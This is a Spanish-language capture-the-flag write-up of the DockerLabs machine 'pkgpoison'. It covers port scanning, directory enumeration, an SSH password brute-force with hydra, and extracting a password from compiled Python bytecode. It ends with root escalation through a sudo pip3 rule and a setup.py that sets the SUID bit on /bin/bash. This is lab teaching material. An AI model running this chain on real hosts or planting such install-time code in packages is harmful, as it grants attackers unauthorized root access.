

Desplegamos la máquina.

```
> sudo bash auto_deploy.sh pkgpoison.tar

      ##
    ## ## ##
  ## ## ## ##
{-----}
NNN {NN NNNN NNN NNNN NN N} NNN
      0
      }
      }
      }

DOCKERLABS

Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
```

Le hacemos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.054 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms
```

Con nmap vemos los puertos que están abiertos y sus servicios.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 2f:87:50:66:15:23:d6:c3:90:3f:ea:8c:a4:4b:b3:ff (RSA)
|   256 d1:35:c1:82:09:e8:c2:c7:cd:98:89:61:c2:6b:14:64 (ECDSA)
|_  256 dd:01:45:ce:bd:a3:05:21:5b:31:4c:2f:df:38:c4:f6 (ED25519)
80/tcp    open  http      Apache httpd 2.4.41 ((Ubuntu))
|_ http-server-header: Apache/2.4.41 (Ubuntu)
|_ http-title: 404 Not Found
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Con whatweb vemos las tecnologías que tiene la página web.

```
> whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[172.17.0.2], Title[404 Not Found]
```

Con gobuster encontramos directorios y archivos ocultos que nos dan pista sobre ciertos usuarios.

```
> gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,htm,xml,json,css,md,txt,log,conf,ini,js,ts,sh,bak,old,backup,zip,tar,tar.gz,rar,7z,png,jpg,jpeg,gif,svg,webp,woff,woff2,ttf,eot,exe,bin,py,pl,rb,asp,aspx,pcap,pcapng -t 100 -b 403,404

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

=====
[+] Url:          http://172.17.0.2
[+] Method:       GET
[+] Threads:      100
[+] Wordlist:      /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 403,404
[+] User Agent:    gobuster/3.8.2
[+] Extensions:  bin,pl,pcapng,css,sh,rar,gif,svg,woff2,ttf,exe,asp,pcap,jpg,php,json,zip,tar,py,conf,backup,woff,aspx,html,txt,ts,bak,old,rb,tar.gz,7z,png,jpeg,webp,htm,xml,ini,md,log,js,eot
[+] Timeout:      10s
=====

Starting gobuster in directory enumeration mode
=====
index.png           (Status: 200) [Size: 1557421]
index.html          (Status: 200) [Size: 589]
notes               (Status: 301) [Size: 308] [--> http://172.17.0.2/notes/]
```

Vemos que hay un archivo txt que nos dice que usuarios hay en la máquina.

```
← → ↻ 🏠 No seguro http://172.17.0.2/notes/note.txt
Firefox Default 🔴 GTFOBins 🔄 PayloadsAllTheThings 🔵 Nessus 🔵 SonarQube 🔴 CC
Dear developer,
Please remember to change your credentials "dev:developer123" to something stronger.
I've already warned you that weak passwords can get us compromised.
-Admin
```

Probamos dev, pero al parecer ha cambiado su contraseña y no podemos utilizar la que pone.

```
> hydra -l dev -P /usr/share/wordlists/metasploit/unix_passwords.txt 172.17.0.2 ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in milit
ations, or for illegal purposes (this is non-binding, these *** ignore laws and eth

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-20 08:36:02
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recomme
-t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1021 login tries (l:1/p:1021),
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: dev password: computer
```

Una vez dentro buscamos alguna pista que no pueda dar una escalada de privilegios a admin.

```
dev@11a0978f3ee9:/opt/scripts/__pycache__$ ls -la
total 12
drwxr-xr-x 2 root root 4096 May 24 2025 .
drwxr-xr-x 3 root root 4096 May 24 2025 ..
-rw-r--r-- 1 admin admin 274 May 24 2025 secret.cpython-38.pyc
```

Ya que no podemos leerlo fácilmente con cat, usamos strings.

```
odule>dev@11a0978f3ee9:/opt/scripts/__pycache__$ strings secret.cpython-38.pyc
adminz
p@$w0r8321z
Authenticating...)
print)
usernameZ
password
secret.py
auth
<module>
```

Por lógica le añade una z al nombre por lo que a la contraseña también y dicha z no hay que incluirla en la contraseña de admin. Encontramos un binario que usando sudo se ejecuta como root, pero pip3 sirve para instalar, por lo tanto, lo que podemos hacer es crear un archivo en Python para que mientras instala, lea código malicioso y hacer que la bash tenga permisos suid. Para ello debemos crear setup.py.

```
admin@11a0978f3ee9:~$ sudo -l
Matching Defaults entries for admin on 11a0978f3ee9:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin

User admin may run the following commands on 11a0978f3ee9:
(ALL) NOPASSWD: /usr/bin/pip3 install *
```

Creamos una carpeta temporal en tmp y lo asociamos al parámetro TF.

```
admin@11a0978f3ee9:~$ TF=$(mktemp -d)
```

Creamos el código de Python en el archivo setup.py.

```
admin@11a0978f3ee9:~$ echo 'from setuptools import setup' > $TF/setup.py
admin@11a0978f3ee9:~$ echo 'import os' >> $TF/setup.py
admin@11a0978f3ee9:~$ echo 'os.system("chmod u+s /bin/bash")' >> $TF/setup.py
admin@11a0978f3ee9:~$ echo 'setup(name="exploit", version="1.0")' >> $TF/setup.py
```

Ejecutamos con sudo pip3 para instalar el archivo creado.

```
admin@11a0978f3ee9:~$ sudo pip3 install $TF
Processing /tmp/tmp.0azV3GBUGH
Building wheels for collected packages: exploit
  Building wheel for exploit (setup.py) ... done
  Created wheel for exploit: filename=exploit-1.0-py3-none-any.whl size=972 sha256=2e92286719bff592c4b54a43f6de
e94f918920664109188195ed2a3db2b99187
  Stored in directory: /tmp/pip-ephem-wheel-cache-56_udd0s/wheels/6d/fb/4a/e42e2e58389dd1b43a2f57fcbc0e9218e345
c8c80ac8da7f2d
Successfully built exploit
Installing collected packages: exploit
Successfully installed exploit-1.0
```

Y listo ya somos root.

```
admin@11a0978f3ee9:~$ /bin/bash -p
bash-5.0# id
uid=1001(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
```